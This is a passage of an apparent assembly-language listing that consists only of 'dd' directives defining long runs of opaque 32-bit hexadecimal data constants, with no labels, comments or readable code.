807CE6F5h, 0C90A3461h dd 0A4411502h, 6D43F000h, 0A071D0h, 0DE90F45Fh, 9B0F8A7Eh dd 7C633700h, 2AC43E85h, 758E00ADh, 0B545FE95h, 0A600CBCFh dd 41A758B9h, 3CC9A87Dh, 591EE61Bh, 145A136Ch, 9F004E3Eh dd 0EFCFAF73h, 4B00D651h, 96ACF54Eh, 39EB5FB1h, 0A103C324h dd 5DF1C61Eh, 4DCD04F8h, 51E36014h, 126600F0h, 846EB83Bh dd 893D0097h, 0E28F02AEh, 0BF2EBB10h, 80390591h, 1BF5166Eh dd 1972103h, 827FA05Eh, 0F9CE9CD9h, 73A4E423h, 8A539628h dd 0EAD0C900h, 0D4414966h, 0A17001F2h, 0B45D95B5h, 440DFC37h dd 9C48CEE5h, 0A40032ADh, 3D86BD31h, 71D1FBh, 761653C4h dd 95E3F4B6h, 0DF0063F4h, 69DD09C3h, 72F10B2h, 1E3F56ECh dd 0EEAC04Eh, 431F7C1Dh, 0E2C29251h, 80EEF687h, 0AA89498Ch dd 2D97016Ch, 0E4DA088Dh, 0FCAC20FAh, 0D44CC507h, 1690D288h dd 1DF08EF9h, 0C46BA44Bh, 93A52BA1h, 2DA8B8BCh, 481FB4B5h dd 803DD25Bh, 0F0389541h, 907D6DD1h, 0CDCB00C0h, 0DBA02D75h dd 0AC1EEB56h, 0FD4C4936h, 499270DDh, 0EE00B4E4h, 0D5CB2DA7h dd 38009632h, 0A6E18889h, 9C3A0F7h, 0B930C506h, 1F909000h dd 8539BEF1h, 23A87C7h, 21D05D4Ah, 308D2EC4h, 0E428BCC0h dd 1800C1A8h, 0F9790BB9h, 43116Ah, 0A5A121A9h, 7EEC2649h dd 0A4239h, 0B95F8971h, 0CE46C612h, 1CC09C62h, 81E12F80h dd 0C0D65030h, 0BF3F7h, 0AD6FB1B8h, 6A8B2ED7h, 55C94900h dd 0FB625090h, 0EA740059h, 0FEEE2FD9h, 0B600F654h, 24891ADFh dd 3FD8BAh, 0CD9D143Bh, 1F76E2BDh, 9441E90Bh, 0B5FC016Dh dd 5220A504h, 0B6D815F8h, 4A00B8E8h, 0C2FD3986h, 35FABF45h dd 4B10EF00h, 0C09DA55Bh, 42548DDh, 0B3DA8700h, 46F57C8h dd 0BCDE000h, 187EDB91h, 0A909001Ch, 13A519AAh, 0E090DC33h dd 72942A00h, 673926EBh, 0D2230074h, 5A4D50A0h, 4B1D578Fh dd 84806621h, 0F99832F2h, 0B3541D13h, 0BB038009h, 834F70FAh dd 78FD9400h, 0C050B7E9h, 570B1A2h, 0C0AE39E6h, 0C34A664h dd 9D8A9B13h, 3D1DC000h, 40794C59h, 0B21F20F0h, 0BA833866h dd 0B0BD1B91h, 0EA9C4BCh, 0CCC6C151h, 182F3E09h, 92CC40F3h dd 7277EA93h, 0B7DB3600h, 8BC7C3E0h, 19490A1h, 99AE5639h dd 23D229F2h, 443C0BACh dd 0EC9E0030h, 0E904E69h, 6DD4A66Fh, 0F4AF0F40h, 0BC00933Fh dd 8160FC7Eh, 28272BDAh, 0E9D841C9h, 81020h, 6C537328h dd 29C314B2h, 0D4BC1A00h, 6DD07E59h, 0B1D9003Ah, 0AA288E18h dd 487689F7h, 570F7190h, 801D73CCh, 9E1C6743h, 413E0081h dd 0C2CDAF02h, 26009D44h, 5A5BC31Ah, 0CB7B92h, 439F1C0Ah dd 0EE653B82h, 15A0F300h, 0A178BC68h, 470B00D9h, 928B466Dh dd 263BC2F7h, 0EC7D8206h, 0E0F3A674h, 54AC53Ch, 0FFEBBE34h dd 50E8C069h, 6000E3A5h, 119B5F4Fh, 1709067h, 0FCF5F303h dd 409C537Eh, 8CE88EA4h, 9998E728h, 912FA800h, 0EA23B00Ah dd 46D000F9h, 2B059E45h, 6E18FB99h, 9C305B7Fh, 0A616022Ah dd 1378E30h, 0D1217069h, 2CD3FC31h, 9BF5A900h, 0AC30E267h dd 0B36400EDh, 95481643h, 0C80F8B57h, 83A6E8h, 9E88EE2Ch dd 991703D8h, 9547DB07h, 7303D87Ch, 3027A8Ch, 82ADF8CBh dd 0AE8D0005h, 5E501FD0h, 7E0F3078h, 0E05603C4h, 1D2B81E8h dd 8C101F6Fh, 886D005Bh, 3DFA652Fh, 33550701h, 0F11585B1h dd 3FEC5D71h, 77A700A8h, 5D29E61Eh, 0AB041DF6h, 1B820822h dd 0B8CD4880h, 13550098h, 0E706DF9Dh, 8507622Ah, 5E1E466h dd 86616531h, 2DE9CCCh, 0A501E20Bh, 1886118Ah, 9F0E111Fh dd 61D20525h, 554FB24Ah, 1A074828h, 0E0F8AA80h, 1F5CF2D7h dd 0A361DF00h, 42DD174Eh, 518112F4h, 4C9045F8h, 441C006Ch dd 4AD65987h, 725B6703h, 0E7CBC8ECh, 27A7DF80h, 79037CBEh dd 0D07AACh, 0F9CE5D4Fh, 650E14C0h, 0F3067900h, 37A4B14Ch dd 82220053h, 6A09D396h, 0FC005AD8h, 273B2C1Ch, 30C751h dd 763FEC9Bh, 4AF33692h, 0C0C66E1Dh, 0A3DF2600h, 0F2DDB85h dd 8218B9BEh, 973C3A0h, 31C05DD2h, 13E59868h, 0AC2E543Bh dd 97853783h, 500580C8h, 4E1916B7h, 3878B488h, 6CF01447h dd 0E1C1C4h, 0F8B7FF6Ah, 0E7E34DBCh, 0C60C8500h, 141C9D21h dd 93C80071h, 4E8615C5h, 0E500A6ECh, 68BE5442h, 3F836736h dd 690E97B5h, 0F680AE22h, 92FA19C0h, 0B30E5F07h, 55C39E0Fh dd 5023A8F0h, 3BE738Eh, 0F2B44BCFh, 54902C6Ah, 512E0519h dd 0F6004F08h, 92D8320h, 7C50067h, 33AB1F56h, 71F80CCAh dd 58129E00h, 8AB83AA6h, 0CF59004Fh, 6CACE355h, 0C116FE89h dd 0E0008012h, 6DF27243h, 0E6810051h, 0E4ABBF07h, 4C7361EAh dd 92EBFC0Fh, 48A78075h, 2E834D8Fh, 27A03F0h, 91E3EACAh dd 0AE07A4ABh, 0B804505Ah, 1366FEB4h, 21F509h, 9C5BBBEEh dd 19BA60Eh, 703B7800h, 97C485F9h, 0D39E0139h, 0F7084A19h dd 63188316h, 0A71203h, 0EBADAE41h, 0C64534C0h, 4C92DF0Ch dd 0C0B508EEh, 0C0D18C21h, 0EF011167h, 0E7457BD0h, 588E91BEh dd 0B3801084h, 0EF5185F8h, 0B6030D9h, 0C0082218h, 0C4EE453Bh dd 0D08D40A1h, 0F0B23C0h, 508E4A72h, 0F12E9B60h, 0AB77F821h dd 0BDE629C0h, 3917E08h, 0A5B44559h, 69E6C4FDh, 0D7010B71h dd 85C694E2h, 2FE44EACh, 0EC10C1D2h, 28E3C1FBh, 0BACD00B0h dd 98755217h, 0F9F30C16h, 7E083E83h, 10D521C0h, 0F67252h dd 0FCA97455h, 9384E2C4h, 886C450Fh, 6D414FAh, 0FDF456E1h dd 0C090720h, 4025F66Dh, 0F31176CDh, 2086A202h, 0C040A9C7h dd 1DA8951h, 79210445h, 0D82C7843h, 1700FB7Bh, 2B0ECEFCh dd 0F5A36A4h, 9841CF53h, 9E24F1E0h, 47008DE0h, 9BFC685h dd 7A197DFh, 64398BA8h, 0CBCDA068h, 0D03C545Dh, 1CC1002Eh dd 25701B48h, 1A6200C0h, 0B9FF1265h, 500CE3Bh, 0EC408FBBh dd 251BF2Eh, 93D1D88Bh, 6CE0A539h, 0F50F5EB9h, 8E2ACFADh dd 0FBE980D7h, 72054888h, 0DB4003A9h, 5CC5B23Dh, 0C72AEF0h dd 0A330F761h, 49F8F114h, 0E9277EDh, 0BEEA7A53h, 0BB21898Ch dd 0A3DF800h, 0A4F02BEFh, 0B6A8065Fh, 50ADA923h, 67CBEC0Eh dd 8203BF81h, 1A56F1D0h, 40873518h, 48789341h, 3D04EF38h dd 0BEA2ED1Fh, 0AEFC31h, 3DF6B5h, 0E6FD5E0Ch, 64AB04FBh dd 0F235900h, 6F799CC7h, 0C73D7D16h, 4183F431h, 80AC4C53h dd 0E5774D11h, 0C1EDEBCh, 1F27F8F0h, 21C0B808h, 6AE57AEDh dd 2AFF0CDFh, 115136A9h, 1A000998h, 0F2B9C214h, 0A95062F8h dd 6DC4C3ACh, 3B28B66Ah, 49B8228Fh, 20F28D66h, 6D4B1C00h dd 613493D5h, 5C9A018Ah, 8BDF4C10h, 0C651B813h, 646CA102h dd 8931302Fh, 6D881E13h, 1D71BD1Ah, 8E058778h, 18975C7Eh dd 5F605018h, 0D810C045h, 9AEF0534h, 0F4873B00h, 0ACEF8F7h dd 51B93A93h, 200E8D8h, 0CF5D2EF9h, 9A003657h, 989B6DBFh dd 0EA95B519h, 3CB80083h, 12DAB3E6h, 0F3011EDCh, 21A918BFh dd 7DC07CF4h, 241900DFh, 0FC286F20h, 9100F36Bh, 0AD5E952h dd 6E803Fh, 0B1DAB6DBh, 0A7095802h, 3E67C101h, 20D8BE21h dd 0ECA9F70h, 0C63CA2BDh, 81DA74C0h, 8F00E80Fh, 5875CE6Eh dd 3ED79038h, 500C79D2h, 1E186B44h, 4D2CFF00h, 54BD4BD8h dd 38C001Ch, 0F977116Ch, 3C07C43Dh, 20F29CA1h, 0BCCBABC0h dd 46BF0043h, 60DE1B39h, 0BB000770h, 7604A2A3h, 401F9950h dd 0A700AA0Ch, 0DEF4887Dh, 406F38B1h, 5F188101h, 0F5D879D7h dd 24671D3Bh, 0A3878059h, 773D723Ch, 0FE47DA02h, 0FD8BF4E4h dd 7B1D9B80h, 87FC26Eh, 78035A74h, 0F95CA211h, 0FAF038F1h dd 81F5B883h, 80A49946h, 670A9FCDh, 5C5E8F00h, 0F93B1627h dd 0B8E40082h, 0B46BB1E5h, 9878F5D4h, 8FFEE200h, 49025A89h dd 0CCF400D0h, 0D69F2AADh, 0E1189BDBh, 9E61F3FAh, 84700092h dd 6BA876C2h, 0F800FC3Bh, 0BF7F8E0Fh, 16B76429h, 0FE4B8B2Bh dd 4DC5300h, 1C41038h, 72221449h, 0D47A92F5h, 10003BBh dd 0A10E269Ah, 10CA559h, 0E1CE9057h, 838D6955h, 0A6F0E470h dd 783F98B4h, 87E906F8h, 0D8AD6320h, 25339724h, 0A1FBFE0Ch dd 0C06A7893h, 5BFDC538h, 8F0019D1h, 0F3EE2A23h, 0D0F15h dd 0BB21E9AEh, 0B090DB4Ch, 6010A405h, 43C0AB7Ah, 57F0CFh dd 0F4A254E4h, 301EED4h, 950798ECh, 0DCC36F8h, 7D94BF80h dd 69513DF9h, 0E2026E00h, 44DB0C8Ah, 11E8C1Ah, 7AF14012h dd 4BB8F0h, 0E33A728Eh, 78F6C2D1h, 6A00AAF8h, 213FC695h dd 4EEC65h, 221A9118h, 7FF9E76Bh, 8600E4E4h, 7B8F2090h dd 0DE5199FAh, 92590038h, 5DEF0624h, 0CBF49E19h, 219C5709h dd 0E93EC0B9h, 449B88E2h, 0D4890F0Fh, 294FC08Dh, 37EFD9BFh dd 0A1A020ABh, 0BC900F3Fh, 0C0A60038h, 91C8780Bh, 26CD1F54h dd 4FCB066Fh, 0B006D890h, 9E0C3A9Ah, 0F05A0031h, 176285B4h dd 0FD1D5FD2h, 603BD3BEh, 0B5FBCC21h, 1CAC0080h, 3028D85Ch dd 0E30067A7h, 0D42687ABh, 1627A93h, 8EF97CD2h, 5097A57Bh dd 3F249574h, 0C921EF7Bh, 7BFE08F5h, 0C5018410h, 0DF454E6Fh dd 7DCE60FBh, 9DFC6604h, 0BA1EF0h, 25CE9532h, 46004385h dd 0B737687h, 0EF9FA4Eh, 0E571806h, 6ED6F2C0h, 4000B4BFh dd 46A66CB2h, 0F8E1A88h, 1FAA4C79h, 49B400F7h, 71F5FD4Eh dd 0EF02A11Ch, 50F2BD80h, 1CDA0F03h, 40F6FC55h, 89DF917Ah dd 7000D0E8h, 0D7AC4A7Eh, 192C0F1h, 51FA30A7h, 0E5D9F5C6h dd 0C914D805h, 12C3FD00h, 41DE820Eh, 0A54200BBh, 0FE0D92A8h dd 2DE89B11h, 0BD201760h, 621BBDAh, 0D3C79162h, 500039DEh dd 8BB9C341h, 7DEB9280h, 872F3A3Bh, 0CF687CB1h, 0C5288C7Dh dd 267E08DDh, 0ECE3ECh, 0DC749E72h, 0FA3034DBh, 5D03690Bh dd 0F978001Fh, 73168467h dd 0C40CF753h, 0C8937F41h, 1C49CE15h, 24C6B083h, 9B1148h dd 0ADCF0140h, 6659C250h, 210D089Dh, 40C96400h, 0FDE03799h dd 1FE1E015h, 3FB1C1h, 0FE1341D8h, 660730A3h, 6B29D774h dd 0D8FD05F3h, 4C92ADEEh, 3005413Ch, 20B20E1Fh, 340363Ch dd 3F9DCF23h, 9E1F52C4h, 0ED58C43Fh, 0E4AA1210h, 0F74C0083h dd 9BAD6037h, 6A00E078h, 9F52670h, 3873D43h, 62188E12h dd 80100E71h, 0CA00C7BCh, 36CEA0B9h, 1D00D9B2h, 10BD568Ah dd 6C391Ch, 90CCE1E4h, 5C47E52Eh, 98B70503h, 0F0256F66h dd 101F87h, 0E0160D03h, 0CB1D0D3h, 0C0CFEC1Fh, 0F50B3481h dd 6CE88807h, 81FB0308h, 0ADDCE849h, 0BB5691B0h, 39314E1Eh dd 0AB96DD41h, 0BC8D2A6h, 81650237h, 0AA4F6AB1h, 0E84D0E41h dd 90361BAh, 0A9596E20h, 0B5D8B81Ah, 97680099h, 0CC245392h dd 703B7D2Ah, 4D1E9FD4h, 2200E92Ch, 0C80CA4C7h, 0D818C0E4h dd 0F2668674h, 2BCFD303h, 0C785D47Ah, 77457630h, 8952064Dh dd 881A562h, 1621D860h, 0F02F50FEh, 0C91100BBh, 0A791D3CAh dd 0D40396E0h, 55A33901h, 648789DAh, 486A2F70h, 406000E9h dd 6CDD4DACh, 0AD3C5C28h, 0E2401E52h, 7BE23002h, 6EC47600h dd 5D2FAE79h, 50BC60A4h, 71EAAF4Dh, 0AC7DD3Ch, 34BE3C7Ch dd 602DE208h, 4F584575h, 658C5A43h, 4B487954h, 777A030Dh dd 0A655BDEDh, 1FDB0020h, 51A1DF1Bh, 840F2E89h, 548C70h dd 0C9CD583Fh, 837B01EAh, 0AEB97766h, 0C8909716h, 0A2D0FA00h dd 5CEE6Fh, 0F81A46A0h, 0CDD5D97Eh, 0BE0091F8h, 6C9D3A3h dd 0F48E17h, 0AC8C4908h, 0A6B7CA75h, 2C1D7904h, 54802836h dd 7E25C70h, 8D25E8B6h, 0C020DF9Dh, 55F2BB6Ch, 84C58F01h dd 584EE634h, 90D5D8D7h, 8AC301AFh, 5A155666h, 7FB7E4D6h dd 3200057Ch, 506EDA19h, 3DB0E8D2h, 0C9031644h, 5191D5B9h dd 8CB8C6EBh, 791F8034h, 0B700BA28h, 94D17BE3h, 0DAB901C8h dd 0C79EED57h, 106FC04Eh, 0C3963Dh, 0D80F11D2h, 8A1225h dd 8C02D5A2h, 5F51FC22h, 0C6313F01h, 721AA7Fh, 0E68067D1h dd 3BFCFFCFh, 20EA600Eh, 0FD623100h, 2CC78173h, 0D18B6059h dd 94B86C50h, 0B9C1AA00h, 51830174h, 590B0020h, 0A35A23DBh dd 0E400CA48h, 0D06A4793h, 0F4461Fh, 82BEB595h, 0B7C3757h dd 1814BB30h, 6283DCh, 0B22F72FCh, 171A293h, 30EF300h dd 1499E4C9h, 568310C5h, 7E4C070Ch, 0F3693B7h, 1AB80010h dd 0A8534679h, 83006D90h, 0D4C95B36h, 7844E6A7h, 0A15A3C84h dd 90FFC28Eh, 7402F960h, 13052CF4h, 0EE7F8FAEh, 0FF799801h dd 3770F1A4h, 50760183h, 6EEBF32Eh, 14C09C43h, 0D7138DC0h dd 3C0F3Dh, 0A034034Ah, 0C3920E2Ah, 45270D00h, 0F08B4996h dd 5C643DFDh, 4A2C5A01h, 0B820B779h, 0F66680D9h, 3751DF8Eh dd 39B03D0h, 5DDD9C72h, 1B801AC3h, 4AEE9167h, 7E400401h dd 0B63A8B21h, 0B8BBE0h, 0F73DD69Bh, 60A2FD1Ah, 0DC00787Bh dd 86F3E259h, 9531AEh, 9664DFEEh, 0BC7D34D5h, 6CE1DA00h dd 0E263B185h, 1CB303C5h, 1D289E59h, 80D5E6A1h, 63BBCC20h dd 0E90A5DECh, 0F37D30h, 0E3B5A7D6h, 3101F090h, 8AB058C0h dd 15C3585Dh, 307CF3D4h, 0B163B800h, 58CA1BC4h, 0D2822084h dd 63A08700h, 44F10949h, 35D13E8Eh, 400B59BBh, 0F01B048h dd 80FD031Bh, 5DB46591h, 0C0E8271Eh, 0F3FEBA11h, 0FA031915h dd 0AC5FB178h, 60A30Dh, 8CA71C21h, 0ED9F95B0h, 8A79EE26h dd 6AD6FD00h, 3C494F2h, 29F75F59h, 0B7E007A8h, 0BA28725Dh dd 0EA0430E6h, 0DA18FEA0h, 10236362h, 0A3A08FF3h, 0A8C589B5h dd 0E31388h, 0CD1E6086h, 0ECCA44CFh, 656D3D02h, 80E241DAh dd 4BA4B6ABh, 18DE06E8h, 2129E9BEh, 0BA1EAA71h, 0EA408671h dd 1044D73Bh, 0B50600E3h, 0AD3CCD13h, 0BE179916h, 9400527Ah dd 47952E6Dh, 0DB3A00A5h, 7C2ABB17h, 70EFF38Ch, 0D4004039h dd 0DC3294FEh, 3A26080Ah, 44B91FB3h, 371D0189h, 6623CB80h dd 0F3B0892Dh, 0A9FCBA0Ch, 8C8850h, 65B05A41h, 0A324E1A4h dd 6E0082B0h, 97842C3h, 2E1F1CFAh, 8C4906h, 0CB347EDFh dd 7F06A502h, 4801ECBBh, 22171C90h, 0E38B4042h, 3C1ED2EEh dd 0E475EA72h, 8EB02D6Ch, 9B0703C2h, 0E565BDA7h, 7D3C2802h dd 0E0B483CAh, 1FD395Bh, 0C06EA21Ch, 0E01B7A3Bh, 0E90C504Bh dd 48DB560Ch, 30717B41h, 0CF784FD2h, 19C0D33Ah, 0A5142A5h dd 0FDDC0861h, 8D1F261Fh, 0F6D3FF80h, 0E3D2DA24h, 0E65EF8h dd 0D6E86E56h, 0BC151471h, 0DF7E5A70h, 97078A70h, 70C84AC5h dd 0F937AC50h, 0CE980044h, 3D8D2F88h, 0CBF90F5Fh, 70646999h dd 500DDE1h, 3C8783B2h, 0F166C7h, 0E05B44BAh, 23FE28E4h dd 0D19F6B0Fh, 82E000Bh, 7A4B4CCCh, 0AEA63A5Bh, 0B17D320Ch dd 8273DC48h, 0BB0080F6h, 1468E742h, 0B56AA8h, 164E3B3Dh dd 0E5564B75h, 0D531DA03h, 88E8F767h, 0E935FCh, 1EB8B7EBh dd 0C62505D1h, 0C928940Fh, 806940C4h, 21A640h, 4AC843EEh dd 0F37E9A9Dh, 70037D1Eh, 3F74AD40h, 12A3FBh, 234A05F6h dd 733B8FCCh, 0C5256800h, 50B7EA98h, 0FFEF00A0h, 0BB276FB5h dd 5400D3E8h, 8A5E5F8Ch, 0B62248h, 0C6D9B113h, 36B2DEDDh dd 0BB874300h, 78F746F3h, 0F0771D6Ah, 3F374359h, 6580A9B3h dd 4D606DEEh, 10815021h, 2D4A0011h, 20F0F6DCh, 2A00F1C5h dd 0A4CC1359h, 33F826Dh, 0E345EDA7h, 38009ECFh, 63F8FB5Ah dd 1B7C3291h, 188258C2h, 0BC0875E9h, 0FE012E20h, 30DFD00h dd 0E8111385h, 0F17EB8D7h, 3B7398E4h, 53877187h, 631585C4h dd 0DC83D767h, 0C3294100h, 9AA37248h, 1C2D00A7h, 0BF26354Ch dd 5503FFC0h, 0A17BB33Dh, 3E808C3Bh, 3C018Dh, 84BBE963h dd 0E5DDF6E7h, 0D58B2D1Dh, 6BFC69C7h, 2E72D850h, 7C310047h dd 287A4663h, 6E005C91h, 0EE75DFD4h, 0C1D10596h, 213B8B31h dd 689FE47Bh, 39E6DA00h, 8FD95344h, 0F7B5002Fh, 0CBD3D1F5h dd 8EE87ABAh, 0BEA4D001h, 0C595E194h, 7CA25EE0h, 0DDD5007Fh dd 0DE4C26E2h, 0C2005C37h, 0F4600AEFh, 3E82ECDFh, 0F10F4F7Bh dd 68234E81h, 0B8C1D5C6h, 800321F0h, 0BCFC1F40h, 0C59215h dd 892102E4h, 78A51E48h, 0E0E17C01h, 604C3143h, 0E4C5D5C4h dd 0ADB84Eh, 6DF0E7B0h, 0B4AAF61Bh, 116593Ch, 0D079D5D2h dd 7885711Eh, 0C0B31BA0h, 7C4BFCB7h, 0EFCC1C00h, 7302B003h dd 6860FCE6h, 502C98DCh, 0F6786B2h, 0BF66048h, 0B7410CF1h dd 0EE19D783h, 230A43FCh, 84679FCFh, 0B3DD8D05h, 0D95E8800h dd 29BA2FFDh, 198E7F4h, 1C6A3B9Ch, 0D6BBC0C8h, 78244E00h dd 0BD937F7h, 0D8F22Dh, 0C1AC3E20h, 8363BD2Ch, 89444500h dd 0EF366995h, 273D014Fh, 646A6837h, 872451C9h, 52E400D0h dd 21CF0389h, 5F795C69h, 87F1900Ch, 0CD2B90Bh, 7CA3343Fh dd 4A5D111h, 0A8EB6AF8h, 1F3D5494h, 0C0063B93h, 35CE3836h dd 2207FF03h, 535BC41Ah, 8824CAC3h, 0E5F2ADh, 6B296EE0h dd 0DCC2EA13h, 66005DEAh, 0D005FF73h, 0FCF0BBAFh, 3DFB07B6h dd 811B2963h, 30B3D88Bh, 0BC0F77AEh, 20CBDA52h, 2C7181C5h dd 760A059Ah, 0C0DBE623h, 3EFAECC9h, 0C400AAFEh, 10A60256h dd 3617F5h, 857E4DADh, 0B36F4762h, 28EAA300h, 4B066BD1h dd 93B055h, 0EF8DBEF7h, 395DAEF9h, 7A6CB800h, 0EA42C770h dd 0D8F53B75h, 55D32400h, 9E4B92BFh, 0BB265914h, 0F3AF00C4h dd 4FE34617h, 9110007Eh dd 114DC835h, 0E0007B83h, 0A2F55676h, 6B1F18h, 0AFD3DC44h dd 4BCF1BCDh, 3DFE2F01h, 0D880E83Fh, 1D84FFD4h, 4081AC1Eh dd 96DA0C2Dh, 0A000AA10h, 0E4C7AB42h, 7839A2h, 5DDDB01Bh dd 89C3F9B8h, 11D43450h, 0A4525A38h, 9C002583h, 7B1EC7Fh dd 13570E91h, 0FE80AAD2h, 98EA8725h, 2EA7F60Eh, 80304E55h dd 88E9928Ah, 5774BEh, 0AA4C369Dh, 0B9F8ECB5h, 8802D824h dd 4EF0A300h, 0BF2B53h, 9E3A158Bh, 38866C9h, 95244507h dd 2650B767h, 1D3C92h, 0F5ABA0Dh, 0F5AE1E87h, 7F7DA700h dd 0D3BB2DC3h, 0FA3305DCh, 1D89B7E9h, 9B4F40F8h, 7D362F26h dd 14FD7E00h, 81A425CEh, 49F40367h, 6854F0C2h, 479DEC8h dd 110B1A00h, 5DD5038Dh, 660A003Ah, 3D42454Ah, 2400884Fh dd 0ADECC00Dh, 1B1949Ah, 0A0CEBD7h, 0E813553Bh, 0E20F3FA2h dd 0C0FE66EDh, 0CAB35A53h, 3E64007Ah, 1A24120h, 0A5002BBAh dd 33D9EAC1h, 0B291AC6h, 0C3ABD1BCh, 1F79D280h, 0D5035AEDh dd 11F57A10h, 2A43904Bh, 0B434397Dh, 67943F00h, 8B92FFBAh dd 9A103530h, 0CB583Eh, 0FBED7FA6h, 0BC259559h, 0E7542102h dd 40DE4E29h, 778506AEh, 0B6D5002Ch, 0BB485BEDh, 0AA001668h dd 4F70A5BEh, 243D0D47h, 648BFF5h, 58A6C004h, 3EAF0800h dd 1324814Fh, 8BF900A4h, 324B9905h, 6C00BECFh, 5E162AD4h dd 96D386h, 231B8A52h, 274A9148h, 0D492F104h, 0F601BB3Ah dd 0E830936Fh, 2D014C42h, 0FEEAC854h, 8E219CE3h, 88FD95FDh dd 0D889E443h, 3E3DB881h, 0E6AAE961h, 46B000F0h, 4B393C2Eh dd 6001B933h, 861C61Bh, 8E60E7ECh, 0F4F2A25h, 0B5775Ch dd 0ED72B713h, 0F9EC1CD8h, 65E1862Eh, 4C830D03h, 0F05CE88Dh dd 5A960FE6h, 0A6093772h, 0C861808h, 553EFE3Ah, 88E98E24h dd 0A61D0D00h, 7AC298Dh, 5C9D2BE2h, 74A0A006h, 0B8307813h dd 6D23E0B5h, 547A9Ch, 6780DEA2h, 9B7CB177h, 56F02C54h dd 0B720C300h, 1E623398h, 7F8B0068h, 7147626h, 4207822Eh dd 0FD40969Bh, 19C41FD0h, 2F200F5h, 9323C236h, 8901EC25h dd 0E2D1663Bh, 2489B6ABh, 0B4837F2Ah, 6080A838h, 3B00A2B9h dd 0A52536C1h, 157DD1Ch, 1D9C708Fh, 8FF7D818h, 20A131D8h dd 0B0620C4Fh, 23EF008Ch, 3DE04D01h, 0A307F069h, 57607770h dd 0CEBD43F0h, 992A0EBFh, 401E85D8h, 0DC719AD6h, 0BA0040B5h dd 0CA685093h, 0A924ABh, 0FBD0A8F4h, 0D2ADE53Eh, 8C00FA70h dd 35903D5Dh, 3BB812h, 60C9CE81h, 4841CF58h, 0B5051A00h dd 6ABCBDD9h, 0EF8E3E7Ah, 0CA7D068Fh, 0DE035BA9h, 0B4909091h dd 0E1489BFBh, 0B39A0014h, 24DBF8A6h, 0A3DC005Bh, 0A1ADC675h dd 0BD03A0B0h, 91C73325h, 0EFFCA07Ah, 0AC1C00FEh, 6874AB73h dd 0F8000EFDh, 0C99159E1h, 1E484304h, 410BDAh, 7B45B323h dd 9B049276h, 0F799CC7Dh, 1F52B480h, 0B9EC0058h, 4F811AD7h dd 3700CDDCh, 0E95AA869h, 260ECFC1h, 0AD7E23h, 77CC7AE2h dd 430E9ED3h, 2053385Ah, 0F8E3FAB7h, 60E90098h, 0DE8B2A6Fh dd 7D01CE66h, 0F3CA0229h, 7020A49Bh, 8AC50051h, 24A1F7C6h dd 0E8B20E9Ah, 47222907h, 4AF2688Fh, 35ECA0D6h, 48FB2145h dd 272470E7h, 9F31365h, 3C009F18h, 0EE8BE611h, 0D0684Ch dd 1FDBBEA0h, 4C1998Ch, 0B606A629h, 68C090DDh, 32125FE0h dd 0DC40E493h, 71939ACh, 0E8E6007Eh, 880F5990h, 0C70A8441h dd 3CF88970h, 4D3A80BEh, 40696A64h, 0E5EB002Eh, 0E0B34CAh dd 57B038FBh, 957B0900h, 9682CD45h, 8F5094Dh, 0A000024Eh dd 0D4CF3760h, 347AB00h, 965F09AFh, 73A37A81h, 0B9CB0029h dd 9B9A337Eh, 0E5703865h, 1BA59600h, 0CFF9B2F5h, 48BAD6h dd 6CCC55BDh, 1D9B91Dh, 0A1FB5200h, 427A6D34h, 31D400B5h dd 4E05DA87h, 9D00EC63h, 0A315C750h, 0EE5203E0h, 0B4A900B6h dd 0CBEF93BCh, 0A03D6F8Fh, 0A16C480Ah, 14608103h, 24017588h dd 844D51h, 94B1DB1Dh, 0C5F8A864h, 5906D0EBh, 0E05E322Ah dd 0C05D1B0Eh, 0FCFC6A0Bh, 88DF8CD0h, 82F61BBBh, 758D9000h dd 2EF86B79h, 64594CB0h, 2624B300h, 639732E2h, 0BAC4B00h dd 0A3E0F3F8h, 98BF1F42h, 66768312h, 1C08B2Eh, 600547Ch dd 0E8A2CACBh, 4C4D9DA0h, 5205A85Bh, 9A1DE7h, 76782ED8h dd 3C09E36Dh, 216C63E2h, 44743944h, 0C33B020Ah, 0E6F2C7h dd 75D91123h, 5E005BF0h, 598E16E8h, 6B31A273h, 0CF00F094h dd 4C9D085Fh, 0D500ACF8h, 0DEB121F1h, 0ED6C1Eh, 5E689027h dd 364FA4CFh, 5F1D0403h, 7745C6h, 9D629B20h, 444C0826h dd 0B600C773h, 3509CBD8h, 3BA2B2D1h, 60E365EAh, 1C836213h dd 0C5D01D81h, 0BF7FED0Fh, 42550049h, 76BF3268h, 0DCE000C8h dd 238449DEh, 0EF2C969Ah, 0D93A59AAh, 0C0F500C8h, 0EB8F0335h dd 4C35910h, 0B8C88805h, 31B88CA2h, 6BBB40h, 87334CFBh dd 4AA75AEBh, 0F7B6DA01h, 0CF39235Ch, 29C291F4h, 3E82DF2h dd 0E53544D0h, 38AC00D5h, 372CFF4Bh, 0ACB51600h, 7EAD08A8h dd 777300FEh, 56693E0Dh, 470E232Ch, 848F8AEEh, 40B07CA7h dd 0DA452461h, 0CEF58BF8h, 0EF0CC020h, 491770Dh, 8137F380h dd 0EA6AA17h, 1309952Dh, 7800B769h, 42012A2h, 28E04900h dd 30733435h, 0C9B300D9h, 0A651DF2h, 1900468Dh, 7C56EC71h dd 7C3E092h, 9A8BBFBAh, 9552B02Ah, 78160B5Ah, 0D84F175Bh dd 7B007150h, 4FA9F43Ch, 5D000A61h, 8D9DFDE6h, 182D217Fh dd 16C56FB2h, 0EC723ED2h, 28109603h, 0A820DDC8h, 0B0CBB49h dd 0F8FFEFDCh, 47150A80h, 0F404FBAFh, 76558E5Bh, 0DAAB5891h dd 0CAA0D857h, 0E836B2h, 322847B7h, 95890981h, 92A06700h dd 0F85271CCh, 72BD01CDh, 0BF0D0A15h, 0A0F04C5Eh, 0DEA8BA5Ch dd 1A5B85BEh, 0B4309DFEh, 8092BFh, 840B167Fh, 1FE95E2Bh dd 67B87C0Fh, 60B42F20h, 0C072A129h, 8AB62E60h, 0E8DE40C0h dd 4D76A45Dh, 0CE364A13h, 38D36C05h, 66FB1892h, 37AE0000h dd 20DF1756h, 0CE75F775h, 8763015h, 0E65FC0F0h, 2A7846Ch dd 50C58C5Eh, 0F000167h, 0C89135h, 0E6CB89D7h, 0AA225BF1h dd 0AF05CC00h, 8A6033D1h, 7F491EBDh, 2969494Fh, 39A67E80h dd 1A00F3B6h, 0B0E64E0h, 3BDFB375h, 2C80C2C1h, 0ACEDC77Fh dd 0C6126A7Ah, 2A0F5536h, 0E9E1C056h, 0F818B870h, 726D2EFBh dd 0EDB900F0h, 30151F83h, 75AFDC00h, 981ED429h, 2B4800FBh dd 0BA49502Ah, 